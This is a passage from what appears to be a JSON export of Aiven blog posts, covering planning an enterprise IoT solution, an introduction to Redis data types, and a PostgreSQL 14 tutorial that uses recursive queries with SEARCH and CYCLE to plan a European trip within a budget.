[LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-188500af0c28d797756d36025fda304902ef16eb-752x405-png","_type":"reference"}},"publishedAt":"2019-06-04T00:00:00.000Z","seo":{"metaDescription":"Aiven customers now send their service logs to external Elasticsearch services; find out more about it in this post.","metaImage":{"alt":"","asset":{"_ref":"image-188500af0c28d797756d36025fda304902ef16eb-752x405-png","_type":"reference"}},"metaTitle":"External Elasticsearch logging output now supported by Aiven"},"slug":{"_type":"slug","current":"/blog/external-elasticsearch-logging-output-now-supported-by-aiven"},"subtitle":"Aiven customers now send their service logs to external Elasticsearch services; find out more about it in this post.","title":"External Elasticsearch logging output now supported by Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5iSeEDWpwZR9p03jPkoQnI","_rev":"a4XEptz0xD4dYAWJ07nzXn","_type":"post","_updatedAt":"2023-09-18T10:49:45Z","authors":[{"_key":"244WrCx4vQESRvQpaGazre","_ref":"244WrCx4vQESRvQpaGazre","_type":"reference"}],"body":"[Internet of things (IoT)](/solutions/aiven-for-iot) refers to the billions of physical devices connected to the internet which collect, store, and share data. Real-world examples of IoT include self-driving cars and cashier-less supermarkets, or industrial applications like equipment monitoring.\n\nIt has changed the world in the past 20 years, prompting companies of all sizes to add new products and improve existing offerings with IoT technology. This is no easy task, as the combination of hardware and software poses enormous challenges at scale.\n\nBefore you begin building your enterprise IoT solution, you must set the foundation for success with careful planning and execution. To get you started, we lay out the 3 fundamental considerations to cover in order to best ensure success.\n\n## 1. Business vision\n\nDeveloping a successful IoT solution is a cross-functional exercise, and this requires a strong business vision to serve as a reference point for all stakeholders. You should clearly define your IoT solution’s purpose by answering a few key questions at the outset:\n\n*- What problem are you trying to solve?*\n\nThe desire to offer an IoT solution should stem from a legitimate problem that can be observed and addressed in the market. If you’re entering IoT solely to catch the wave, you should re-evaluate your strategy.\n\n*- What does success look like?*\n\nDefine your objectives and the key results used to measure the success of your IoT solution. These will depend on whether you are looking to increase your existing market share by augmenting a current solution or enter a completely new market.\n\n*- Do you have the capabilities to build this solution?*\n\nThe answer to this question is almost always no. Lacking key capabilities might mean choosing between an internet or thing-centric solution, where the value proposition stems from either the nature of interconnectivity or the devices and sensors themselves.\n\nIdeally, you shouldn’t have to choose one or the other. If you’re lacking fundamental capabilities, you should immediately start establishing partnerships with the right experts and vendors to build a robust first iteration and reduce its time-to-market.\n\n## 2. Time-to-market and know-how\n\nThe time-to-market for building an IoT solution can be very long due to IoT’s unique confluence of hardware and software. Not only do you need to define and produce/source the required devices and sensors, you also need to figure out how to manage the data that is generated.\n\nEnterprise companies often insist on building IoT solutions in-house for the sake of control. The problem with this approach is that it is resource-heavy and difficult to manage, requiring teams to work around the clock not only to develop and set up the software but maintain it as well.\n\nAnd what about the hardware? After you source device/sensor manufacturers, you then need to prototype them and feed their data outputs into your custom-built pipelines. Doing all of this in-house poses unnecessary risk, making for a long development roadmap and lost opportunities.\n\nHere’s where expert partners come into the picture. Our friends at [Sierra Wireless](https://www.sierrawireless.com/products-and-solutions/) are no strangers to IoT. They’re a leading IoT solutions provider — simplifying customer IoT journeys by combining devices, networks, and software to accelerate their data-driven transformation.\n\nWhile Sierra Wireless takes care of the hardware infrastructure, [Aiven](https://aiven.io/) can handle your data infrastructure by helping you build a fully-managed, open source data pipeline with snap-in components to ingest, transfer, and store your data. Now, let’s look at the last consideration.\n\n## 3. Technical and operational setup\n\nAs indicated, IoT solutions require hardware and data infrastructure for the ingestion, transfer, and storage of data. Starting with hardware, let’s consider Sierra wireless’s [Octave](https://www.sierrawireless.com/octave/), the only all-in-one edge-to-cloud solution for connecting industrial assets securely and scalably.\n\nOctave accomplishes this through out-of-the-box industrial protocol support (Modbus, CANopen, etc.), global connectivity, SIM- and device management, intelligent edge processing, data orchestration, and cloud connectors and APIs to integrate with any cloud service provider.\n\nSierra Wireless also has its own global wireless cellular network and provides a private APN to fully separate your data traffic from the public internet. Now, let’s talk about the other side of the coin — the data infrastructure requirements for a flexible, reliable, and scalable IoT solution.\n\nFirstly, you should consider [open source technology](https://github.com/aiven). Open source data software technology offers many advantages than its proprietary counterparts, namely lower total cost of ownership (TCO) and more control over its implementation. Likewise, it is often more advanced.\n\nTake [Apache Kafka](https://aiven.io/blog/what-is-apache-kafka) for example. When you include it in your data infrastructure as your pipeline’s streaming platform, you are getting a solution with the low-latency and scalability needed for IoT and one that has been battle-tested by the likes of [OVO Energy](/case-studies/aiven-for-apache-kafka-helps-ovo).\n\nHere is an example of a Kafka-centric IoT architecture built for monitoring smart energy meters:\n\n![IoT energy use case](//cdn.sanity.io/images/sczeoy4w/production/3572020f897deb1f15e8b5dea201154666f7af74-1361x694.png)\n\nBut, there is a catch: Kafka is notoriously difficult to maintain, which is why many companies choose to use a managed service such as [Aiven for Apache Kafka](/kafka), which takes care of the updates, monitoring, maintenance, etc. that you would normally have to resource in-house. \n\n## Closing thoughts\n\nThere are many ways to build and operate a secure and globally scalable IoT solution. While the above information is not a comprehensive framework for building your solution, it provides a foundation to get the ball rolling for building it.\n\nThe most important takeaway is that no matter how many resources you have at your disposal, working with quality partners is often the best way to quickly build a high-quality IoT solution that can make the data your devices produce actionable.\n\nAiven and Sierra Wireless jointly reduce the complexity and cost of IoT development, removing operational concerns. With us, you can liberate resources to focus on what matters - differentiating yourself by delivering superior customer value.\n\nTo keep up-to-date on the latest insight, follow our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.\n\n[![OVO energy image CTA](//cdn.sanity.io/images/sczeoy4w/production/47dd5a1f237ae0d6ba33697f648528c0c00718ee-1600x471.png)](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"7a75dJHI5iFb0ksQIdhTn0","_ref":"7a75dJHI5iFb0ksQIdhTn0","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-8ba96c192f5d29f510c856dec1c2b31b27f773d8-1567x844-png","_type":"reference"}},"publishedAt":"2020-08-11T00:00:00.000Z","seo":{"metaDescription":"Our partners at Sierra Wireless are the world's leading IoT solutions provider. Here are 3 considerations to cover in order to build a successful IoT solution.","metaImage":{"alt":"","asset":{"_ref":"image-8ba96c192f5d29f510c856dec1c2b31b27f773d8-1567x844-png","_type":"reference"}},"metaTitle":"3 considerations for building an enterprise IoT solution"},"slug":{"_type":"slug","current":"/blog/3-considerations-for-building-an-enterprise-iot-solution"},"subtitle":"Our partners at Sierra Wireless are the world's leading IoT solutions provider. Here are 3 considerations to cover in order to build a successful IoT solution.","title":"3 considerations for building an enterprise IoT solution"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5n7mhiPowEK6X49UpoZSU4","_rev":"ejVwHgKe5k9eDWbchuPlfl","_type":"post","_updatedAt":"2024-07-11T12:22:32Z","body":"Redis®* is an in-memory, single-threaded, open-source, NoSQL datastore. \n\nImagine you’re implementing a leaderboard (top 10 players list) in one part of your game’s UI. You need a solution that smoothly handles user-visible updates on the fly. You also need to write a user session cache to handle the “sticky” login state of users connecting to different authentication services. In yet another part of your [Microservices Architecture](https://aiven.io/blog/how-are-your-microservices-talking), you need to temporarily store player-level state. \n\nThis requires a simple data store that’s extremely fast, lightweight, relatively format-agnostic, and leverages RAM. \n\nYou may be familiar with NoSQL data stores and the flexibility they introduce when compared to an RDBMS. ACID-compliant database solutions in the cloud, best suited for transactional data, ensure record completeness and isolation, but impose a few different costs:\n\n* Inflexible schemas: your events must adhere to the same schema as the database, or else throw an error\n* Write-time, partition, replication, and latency costs.\n\n\u003e This simply won’t scale to a large-scale game or social network, where each of several million users needs a list or unique session data updated essentially in real-time. \n\nThink of constantly-updating lists, counters and views on popular social media, games, shared computing and collaboration platforms. Consider the constantly-changing data on Facebook statuses, top Twitter trends and LinkedIn Profile View counts. \n\nOr consider the results counters on search engines: would something like Google results counters really work almost instantaneously for billions of users if rigid transactional mechanisms wrote and read ACID- consistent data over latent network connections for _each and every user_?\n\nFortunately, there is an open-source solution purpose-build for precisely such use cases - Redis.\n\nIn this post, we’ll look at how an in-memory key-value store (and more) handles data, the use cases it supports and how it supports them via the available Redis data types. \n## What is Redis?\nRedis, or **Re**mote **Di**ctionary **S**erver, is an in-memory, single threaded, open-source NoSQL datastore. Its high performance makes it a favorite fast data store, cache, and even lightweight message broker. \n\nDubbed “the data structure server” by Redis folks themselves, the **value** part of the key-value pair can hold **_strings, lists, sets, sorted sets, hashes, bitmaps, and hyperloglogs,_** which we’ll cover below. It’s the range of operations that these data types support that makes Redis a flexible and easy choice to spin up on-the-fly solutions for which a relational datastore would be overkill.\n\nWith these features, Redis can accommodate a range of problems that map almost directly onto Redis’ data types themselves. But you don’t need to _switch_ to Redis; most use it as a complement to other data stores in their architectures. \n## What Redis does (and doesn’t do)\nYou can think of Redis as an out-of-the-box cache where you can store and recall data on the fly. Redis can do more than 100k SETs (writes) and 81k GETs (reads) per second. And with frequent — and configurable — disk writes on the off-cycles, your persisted data is still available when you reinitialize. \n\nSome programming language libraries - think of Ruby’s [resque](https://github.com/resque/resque) and [sidekiq](https://sidekiq.org/) libraries - even use Redis lists under the hood to implement background jobs for fast data sorts.\n\nUnlike SQL databases, Redis doesn’t implement [ACID](https://en.wikipedia.org/wiki/ACID)-supporting database schemas such as tables and columns. Instead, the storage format is **{key:value}**. Being memory-resident, single threaded, and written in a low level language as C, it’s an excellent choice for fast changing stores and caches.\n\nSo how do [Redis’s supported data types](https://redis.io/topics/data-types) enable this super-fast execution? **Redis users create data structures on the fly and run operations directly on them.**\n\n![The tet data type in Redis header image for data types](//cdn.sanity.io/images/sczeoy4w/production/32ea56a0bc01b9fd1e39ed5d96a2acecb9bfccba-2000x957.png)\n\n\n**_Keys_** are items which are used to uniquely identify and search for the items (values) associated with them. Since keys are _binary safe_, they can be human-readable text or even binary strings, just as JPEG files.\n\nRedis **_value types_** include the following:\n\n- **_Strings_** are the simplest values one can associate with a key. Strings are good for storing anything you might think of as plaintext, like code fragments, complete HTML pages, or IP addresses. Redis allows up to a 512MB size for strings.\n- **_Lists_** are collections of strings or linked lists in order of insertion. Lists can contain duplicate values, and you can add items to either the beginning or end. \n- **_Sets_** are like lists, except they cannot contain duplicate values, and are unsorted. Sets can make use of _unions_, _intersections_ and _subtractions_. Because they only accept unique, distinct values, they are the go-to for managing cardinality. \n- **_Sorted sets_** are sets where every string is ordered by a _float_ score. In sorted sets, scores can repeat but their associated values cannot.\n- **_Hashes_** are maps of value-associated fields representing distinct objects. Hashes can hold up to 4 billion fields. As such, hashes offer an efficient way for a single Redis instance to hold a very large number of objects and operate on them.\n- **Bit arrays** and **bitmaps** are handled like strings: you can set and clear individual bits, find the first set (or unset) bit, or count all bits set to a specific binary value, among other things.\n- **_HyperLogLog_** or [HLL](https://redis.io/topics/data-types-intro#HyperLogLogs) is unique to Redis: \"a probabilistic data structure used to estimate the cardinality of a set.\" HLLs themselves contain only state information and employ algorithms to consume a constant amount of memory (12k at worst) instead of an amount of memory proportional to the numbers of items counted. HLLs read and write their input data from strings, so you’d use string operations for adding, retrieving and counting items from their cardinality calculations.\n- **Streams** with a type of **_pub/sub_** pattern can be used as part of a mechanism to channel non-critical items to consumers or groups. You can implement new data types or support external modules to enhance Redis’ functionality.\n\n\u003c!--\n\nSo how do these data types map to specific use-cases?\n\n#### Based on strings\n**_Session caches_** or **_full-page_** caches can store HTML fragments or even full pages and serve them based on session data. These are also an original use of memcache, and what many such users actually do in Redis. **_Real-time metering_** for utilization-based pricing can be created, based on Redis strings, lists, or even using pub/sub instances as building blocks.\n\n#### Based on lists\n**_Most recent items lists_** [can use](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html) ```LPUSH``` or ```LPOP``` commands to populate lists, and ```LTRIM``` to limit the list sizes. Many **_social media sites_** use Redis lists for “top trending” content item feeds. **_News feeds_**, aggregated from RSS feeds, can push latest updates to restricted lists using the same methods. \n\n#### Based on sets\nDevelopers can implement sets with operations like _unions_, _intersections_ and _subtractions_ (as in Venn diagrams) to search product categories or **_analyze preferences by demographic_** like age. **_Content filters_** implemented in Redis filter user input against discrete sets of words, added to sets via ```SADD``` commands. **_Counters_** use sets with ```INCRBY``` commands to increment counts, ```GETSET``` to clear the counters and ```EXPIRE``` and/or ```TTL``` commands to delete obsolete counters. Since the ```SADD``` command can only add unique members to sets, these are also useful for **_unique N items_** [computations](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html). These latter applications are useful for logging unique users or IP addresses.\n\n#### Based on sorted sets\n**_Forums_** like StackOverflow or Quora use sorted sets to [rank answers](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html) by number of votes. **_Gaming app scoreboards_** use sorted sets to track **_N highest scores_**; these are similar to leaderboards with **_top N player lists_**. **_Task queues_** rank tasks by priority, while **_expiring item lists_** [use unix time](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html) as the key and index current time and time-to-live; the sorted set is queried with ```ZRANGE``` against scores.\n\n#### Based on hashes\nSince hashes store multiple fields, they are perfectly suited for objects like **_user profiles_**, **_user posts_**, and multivariate **_metrics_** like product and research and development.\n\n#### Based on pub/sub\nRedis’s own pub/sub can be used as a building block to construct ephemeral, non-critical **_channels_** for some types of message routing and data collection.\n\nSome popular applications that Redis supports may use a combination of data types: for example, **_sticky sessions_** that keep users logged-in between services during authentication sessions; **_storing random data_** that many services in an MSA need access to is another example. \n\nBut that's just the beginning! The use cases for Redis are truly limitless. And there are many good reasons why a hosted, managed Redis solution is the best way to go: Do you need automatic setup and maintenance? How about the ability to provision your Redis instance at the click of a button? 24/7 support?\n\n--\u003e\n\n## Getting started\nWhy not give Redis a spin? [Aiven for Caching](https://aiven.io/caching) is easy to set up, either on the [Aiven Console](https://console.aiven.io/).\n## Wrapping up\nIn this post, we've looked at Redis: how it handles data, the use cases it supports, and how it supports them. And we’ve gotten started with Aiven for Caching from both Aiven Console and Aiven CLI.\n\nIf you’d like try out, risk-free hosted and managed Aiven for Caching yourself, [check it out with our no commitment, 30-day trial](https://console.aiven.io/signup), or [read all about it on the product page](https://aiven.io/caching)! In the meantime, subscribe to our [blog](https://aiven.io/blog) and [changelog](https://aiven.io/changelog) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/) to be in the know.\n\n## References\n[Redis in Action](https://www.amazon.com/Redis-Action-Josiah-L-Carlson/dp/1617290858)\n\n[https://redis.io/topics/data-types-intro](https://redis.io/topics/data-types-intro)\n\n[http://oldblog.antirez.com/post/take-advantage-of-redis-adding-it-to-your-stack.html](http://oldblog.antirez.com/post/take-advantage-of-redis-adding-it-to-your-stack.html)\n\n[http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html)\n\n\\* Redis is a trademark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven Oy.\n\n## Further reading\n\n- [Caching with Aiven for Redis® and Express.js](https://aiven.io/blog/caching-with-nodejs-express-and-redis)","categories":[{"_key":"3SF1hzDKGSWII7ZpbyTg8M","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-27eb1255715f2dfb05b85a97e3bdb1f7721c17cb-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-07T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"What is Redis®? What does it do and how do you get started? Get informed about the popular fast data store, cache, and lightweight message broker in our blog!","metaImage":{"alt":"","asset":{"_ref":"image-27eb1255715f2dfb05b85a97e3bdb1f7721c17cb-1567x844-png","_type":"reference"}},"metaTitle":"Redis® | Comprehensive guide | Get started with Aiven "},"slug":{"_type":"slug","current":"/blog/an-introduction-to-redis"},"subtitle":"Take a look at all the ins and outs of Redis, and where it sits on the data continuum.","title":"An introduction to Redis®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"5nGKExxF80jIOOLQHuszID","_rev":"ZLvKaZvfbZlWBlGcpIoBA0","_type":"post","_updatedAt":"2024-01-29T15:41:33Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"Holidays, trips, happy times are always in our minds and a couple months ago we saw how to solve the [knapsack problem using PostgreSQL recursive queries](https://aiven.io/blog/solving-the-knapsack-problem-in-postgresql). However, blog posts don't always age like wine. Some weeks after the publication date, PostgreSQL 14 was announced, and it includes a couple of really interesting [new features](https://www.postgresql.org/about/news/postgresql-14-released-2318/): `CYCLE` and `SEARCH`. They simplify the way we write recursive queries by a lot. This article gives a few examples, based on a favorite topic: trip planning!\n\n## Create the database\n\nThe examples in this post will work with any PostgreSQL 14 database, or newer. I'll be keeping things simple and using an [Aiven-managed PostgreSQL service](https://aiven.io/postgresql \"Aiven for PostgreSQL\"), with the Aiven CLI (check the [dedicated documentation](https://aiven.io/docs/tools/cli.html) on how to install and log in). Here is the CLI command to create the database:\n\n```bash\navn service create holidays-pg \\\n --service-type pg \\\n --plan hobbyist \\\n --cloud google-europe-west3 \\\n -c pg_version=14\n```\n\nThe above creates a PostgreSQL 14 (`-c pg_version=14`) service named `holidays-pg` on the `google-europe-west3` region, with the minimal `hobbyist` plan. That's enough for our test. To check which versions of the tools we provide, use the `avn service versions` command, documented in the [dedicated page](https://aiven.io/docs/tools/cli/service.html#avn-service-versions).\n\nWe have now a couple of minutes of waiting time for our PostgreSQL 14 database to be up and running. We can open our favorite travel guide and start browsing destinations. In the meantime, we can keep an eye on the progress of the service creation task with:\n\n```bash\navn service wait holidays-pg\n```\n\nThe above command will periodically request the state of the server till it starts. Once it returns, we're ready to connect to our `holidays-pg` PostgreSQL 14 service with:\n\n```bash\navn service cli holidays-pg\n```\n\n## Create the dataset\nWe want to travel across Europe, visiting some of the major cities within a budget. See how this is a variation of the [knapsack problem discussed previously](https://aiven.io/blog/solving-the-knapsack-problem-in-postgresql)? It's always interesting how apparently different problems can be solved with a similar strategy.\n\nTo store the cities we want to visit, we create a `cities` table, and fill with the locations we've picked.\n\n```sql\ncreate table cities(\n city_id int primary key,\n city_name varchar\n );\n\ninsert into cities values (0, 'Rome'),\n (1, 'London'),\n (2, 'Paris'),\n (3, 'Helsinki'),\n (4, 'Barcelona');\n```\n\nHow do we travel between cities? Easy, we head to a travel booking website and find the connections together with each trip cost. Usually we come back with a graph like this:\n\n![Image showing destinations and connection between them including the price](//cdn.sanity.io/images/sczeoy4w/production/85dbb496c23734119e24ea24e47f5e44a6ff43ae-939x629.png)\n\nTo represent the above information in PostgreSQL, we create a table named `trips` storing the information of source (`city_a_id`), destination (`city_b_id`) and trip cost in Euros (`price_in_eur`).\n\n```sql\ncreate table trips(\n trip_id int primary key,\n city_a_id int references cities(city_id),\n city_b_id int references cities(city_id),\n price_in_eur int\n );\n\ninsert into trips values\n (1, 0, 1, 200),\n (2, 0, 2, 250),\n (3, 0, 3, 150),\n (4, 1, 0, 120),\n (5, 1, 3, 350),\n (6, 1, 4, 450),\n (7, 2, 0, 170),\n (8, 2, 3, 320),\n (9, 3, 0, 50),\n (10, 3, 4, 120),\n (11, 4, 0, 30),\n (12, 4, 1, 500);\n```\n\nThe `trips` table contains all available routes and the associated cost. For example, the trip with id `2` takes us from `Rome` (`city_id:0`) to `Paris` (`city_id:2`) for `250` euros. Not too bad, it's time to start planning the journey.\n\n## Plan the trip\nOur journey needs to start somewhere, and since we know that every road leads to Rome, we can pick the eternal city as starting point. To check where we can travel to, we need a couple of joins between the `cities` and the `trips` tables.\n\n```sql\nselect\n src.city_name,\n dst.city_name,\n trips.price_in_eur\nfrom cities src\n join trips on src.city_id = trips.city_a_id\n join cities dst on trips.city_b_id = dst.city_id\nwhere src.city_name='Rome';\n```\n\nThe result shows the same information as the graph above: we can reach `London`, `Paris` and `Helsinki` with just one trip.\n\n```\ncity_name | city_name | price_in_eur\n-----------+-----------+--------------\nRome | London | 200\nRome | Paris | 250\nRome | Helsinki | 150\n(3 rows)\n```\n\n## Add more hops to the journey\nOk, where next? We can use the power of recursive queries to loop over all the possible combinations.\n\nWith an infinite amount of money, we could travel the world forever. Translating this in database terms, it means that we could have endless loops in our recursive query. To mimic the real life and save us from infinite loops, let's set an overall budget of `800` euros to cover all our trips.\n\nLearning from the [previous post](https://aiven.io/blog/solving-the-knapsack-problem-in-postgresql), we can write the recursive query for the journey like this:\n\n```sql\nwith recursive trip_journey(\n city_id,\n trip_id,\n total_price_in_eur,\n journey_stops\n )\nas (\n select\n city_id as city_id,\n null::int as trip_id,\n 0 price_in_eur,\n ARRAY[city_name] as journey_name\n from cities\n where city_id=0\n UNION ALL\n select\n trips.city_b_id,\n trips.trip_id,\n tj.total_price_in_eur + trips.price_in_eur,\n tj.journey_stops || city_b.city_name\n from trip_journey tj join trips on tj.city_id = trips.city_a_id\n join cities city_a on trips.city_a_id = city_a.city_id\n join cities city_b on trips.city_b_id = city_b.city_id\n where tj.total_price_in_eur + trips.price_in_eur \u003c 800\n )\nselect * from trip_journey;\n```\n\nLet's break it up a bit. The first section states the starting point: we want to start from `Rome` (`city_id=0`). If we don't travel, the `trip_id` is `null` and the overall cost is `0`.\n\n```sql\nselect\n city_id as city_id,\n null::int as trip_id,\n 0 price_in_eur,\n ARRAY[city_name] as journey_name\nfrom cities\nwhere city_id=0\n```\n\nThen we start adding trips, using the recursive piece, joining the previously defined `trip_journey` with the `trips` table to discover all possible destinations and associated cost.\n\n```sql\nUNION ALL\nselect\n trips.city_b_id,\n trips.trip_id,\n tj.total_price_in_eur + trips.price_in_eur,\n tj.journey_stops || city_b.city_name\nfrom trip_journey tj join trips on tj.city_id = trips.city_a_id\njoin cities city_a on trips.city_a_id = city_a.city_id\njoin cities city_b on trips.city_b_id = city_b.city_id\nwhere tj.total_price_in_eur + trips.price_in_eur \u003c 800\n```\n\nWhat is happening is that we take note of the journey by adding the `city_b.city_name` to the array of strings contained in `journey_stops`. Then, we calculate the total journey cost by summing the previous total and the current trip price (`tj.total_price_in_eur + trips.price_in_eur`). Finally we verify that the overall cost is within the `800` euros limit in the `WHERE` clause.\n\nThe query retrieves 89 rows, starting from the no trip option (staying in `Rome`) till the long `{Rome,Helsinki,Rome,Helsinki,Rome,Helsinki,Barcelona,Rome}` trip over multiple cities.\n\n```\ncity_id | trip_id | total_price_in_eur | journey_stops\n---------+---------+--------------------+-----------------------------------------------------------------\n 0 | | 0 | {Rome}\n 1 | 1 | 200 | {Rome,London}\n 2 | 2 | 250 | {Rome,Paris}\n 3 | 3 | 150 | {Rome,Helsinki}\n 0 | 4 | 320 | {Rome,London,Rome}\n 3 | 5 | 550 | {Rome,London,Helsinki}\n....\n 4 | 10 | 770 | {Rome,Helsinki,Rome,Helsinki,Barcelona,Rome,Helsinki,Barcelona}\n 0 | 11 | 700 | {Rome,Helsinki,Rome,Helsinki,Rome,Helsinki,Barcelona,Rome}\n(89 rows)\n```\n\n## Define the exploration path with the SEARCH option\nThe 89 rows above give us a good summary of all the possible itineraries we could take. But how is that dataset ordered? In PostgreSQL 14 the `SEARCH` option provides a new way to define how our recursive query should behave:\n\n* If we want to order our trips based on the **number of stops**, we can use the `BREADTH` option. We'll see fist the trips involving 0 stops, then the ones involving 1 stop, 2 stops and so on.\n* If we want to order our trips based on the **trip path**, we can use the `DEPTH` option. We'll see the journey expanding at each step, e.g. `{Rome}`-\u003e `{Rome-\u003eLondon}` -\u003e `{Rome-\u003eLondon-\u003eHelsinki}` until the maximum depth of the journey is found, then it'll explore the consecutive brach of the tree.\n\nTo provide an example on our dataset, we just replace the last `select * from trip_journey` statement with the following:\n\n```sql\nSEARCH BREADTH FIRST BY city_id SET ordercol\nselect * from trip_journey order by ordercol limit 15;\n```\nWe are limiting the query to return only the first 15 rows (`limit 15`), this saves in computation since we're not going to scan the whole set of combinations but still enables us to demonstrate the feature. Because we're using the `BREADTH` option, the resultset is ordered by **number of stops**.\n\n```\n city_id | trip_id | total_price_in_eur | journey_stops | ordercol\n---------+---------+--------------------+--------------------------------+----------\n 0 | | 0 | {Rome} | (0,0)\n 1 | 1 | 200 | {Rome,London} | (1,1)\n 2 | 2 | 250 | {Rome,Paris} | (1,2)\n 3 | 3 | 150 | {Rome,Helsinki} | (1,3)\n 0 | 4 | 320 | {Rome,London,Rome} | (2,0)\n 0 | 9 | 200 | {Rome,Helsinki,Rome} | (2,0)\n 0 | 7 | 420 | {Rome,Paris,Rome} | (2,0)\n 3 | 5 | 550 | {Rome,London,Helsinki} | (2,3)\n 3 | 8 | 570 | {Rome,Paris,Helsinki} | (2,3)\n 4 | 6 | 650 | {Rome,London,Barcelona} | (2,4)\n 4 | 10 | 270 | {Rome,Helsinki,Barcelona} | (2,4)\n 0 | 9 | 600 | {Rome,London,Helsinki,Rome} | (3,0)\n 0 | 11 | 300 | {Rome,Helsinki,Barcelona,Rome} | (3,0)\n 0 | 9 | 620 | {Rome,Paris,Helsinki,Rome} | (3,0)\n 0 | 11 | 680 | {Rome,London,Barcelona,Rome} | (3,0)\n(15 rows)\n```\n\nThe `ordercol` column contains a tuple `(A,B)` where the first item represents the level and the second the latest `city_id`. E.g. `(2,0)` states that the journey includes two trips, and ends in `Rome` (`city_id=0`), the same information can be found in the journey stops column containing `{Rome,Paris,Rome}`.\n\nIf now we replace the `BREADTH` clause with `DEPTH`, we get the first `15` trips ordered by the trip path, exploring with incremental steps how we can gradually increase our journey.\n\n```\n city_id | trip_id | total_price_in_eur | journey_stops | ordercol\n---------+---------+--------------------+-----------------------------------------------------+-------------------------------\n 0 | | 0 | {Rome} | {(0)}\n 1 | 1 | 200 | {Rome,London} | {(0),(1)}\n 0 | 4 | 320 | {Rome,London,Rome} | {(0),(1),(0)}\n 1 | 1 | 520 | {Rome,London,Rome,London} | {(0),(1),(0),(1)}\n 0 | 4 | 640 | {Rome,London,Rome,London,Rome} | {(0),(1),(0),(1),(0)}\n 3 | 3 | 790 | {Rome,London,Rome,London,Rome,Helsinki} | {(0),(1),(0),(1),(0),(3)}\n 2 | 2 | 570 | {Rome,London,Rome,Paris} | {(0),(1),(0),(2)}\n 0 | 7 | 740 | {Rome,London,Rome,Paris,Rome} | {(0),(1),(0),(2),(0)}\n 3 | 3 | 470 | {Rome,London,Rome,Helsinki} | {(0),(1),(0),(3)}\n 0 | 9 | 520 | {Rome,London,Rome,Helsinki,Rome} | {(0),(1),(0),(3),(0)}\n 1 | 1 | 720 | {Rome,London,Rome,Helsinki,Rome,London} | {(0),(1),(0),(3),(0),(1)}\n 2 | 2 | 770 | {Rome,London,Rome,Helsinki,Rome,Paris} | {(0),(1),(0),(3),(0),(2)}\n 3 | 3 | 670 | {Rome,London,Rome,Helsinki,Rome,Helsinki} | {(0),(1),(0),(3),(0),(3)}\n 0 | 9 | 720 | {Rome,London,Rome,Helsinki,Rome,Helsinki,Rome} | {(0),(1),(0),(3),(0),(3),(0)}\n 4 | 10 | 790 | {Rome,London,Rome,Helsinki,Rome,Helsinki,Barcelona} | {(0),(1),(0),(3),(0),(3),(4)}\n(15 rows)\n```\n\nThe `ordercol` now contains the concatenated list of `city_id`s, e.g. `{(0),(1),(0),(2)}` means we're going to travel `Rome-\u003eLondon-\u003eRome-\u003eParis` as confirmed by the `journey_stops` column. The order of rows returned follows the `ordercol`.\n\n## Avoid loops with the CYCLE option\n\nIsn't the journey `Rome-\u003eLondon-\u003eRome-\u003eParis` beautiful? Ah, probably you don't like to pass multiple times by the same city. Loops are a very inefficient way of travelling, and we should avoid them when possible. Luckily, the PostgreSQL 14 `CYCLE` option provides a way to skip them.\n\nIn the original recursive query, replace the `select * from trip_journey` with:\n\n```sql\nCYCLE city_id SET is_cycle USING journey_ids\nselect * from trip_journey where is_cycle=false;\n```\n\nThe above adds to the recursive query a couple of columns:\n* `journey_ids` containing the sequence of `city_id`s in an `ARRAY`\n* `is_cycle` flagging loops by checking if the current `city_id` is already in the `journey_ids` column\n\nThe query result, filtered for `is_cycle=false` provides the list of all non looping trips we can afford with our budget.\n\n```\ncity_id | trip_id | total_price_in_eur | journey_stops | is_cycle | journey_ids\n---------+---------+--------------------+----------------------------------+----------+-------------------\n 0 | | 0 | {Rome} | f | {(0)}\n 1 | 1 | 200 | {Rome,London} | f | {(0),(1)}\n 2 | 2 | 250 | {Rome,Paris} | f | {(0),(2)}\n 3 | 3 | 150 | {Rome,Helsinki} | f | {(0),(3)}\n 3 | 5 | 550 | {Rome,London,Helsinki} | f | {(0),(1),(3)}\n 4 | 6 | 650 | {Rome,London,Barcelona} | f | {(0),(1),(4)}\n 3 | 8 | 570 | {Rome,Paris,Helsinki} | f | 